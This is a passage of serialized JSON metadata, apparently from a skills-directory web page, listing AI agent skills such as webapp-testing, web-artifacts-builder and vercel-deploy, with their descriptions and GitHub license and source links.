image.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FSKILL.md",[],[],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":105,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":20},"01M7EFF1CSQNTDMHFK4ZGY6NYK","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":113,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":20},"01M7EFE8106X6C28FT8PA74427","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":20},"01M7EFCSNZM9G7ZHS6F127Q71X","verification-loop","A comprehensive verification system for Claude Code sessions.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fverification-loop\u002FSKILL.md",[],[],{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":128,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":20},"01M7EFCE7EZMKPRYDDNKBQ9EEH","vercel-deploy","Deploy applications and websites to Vercel. Use when the user requests deployment actions like \"deploy my app\", \"deploy and give me the link\", \"push this live\", or \"create a preview deployment\".","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FSKILL.md",[],[]]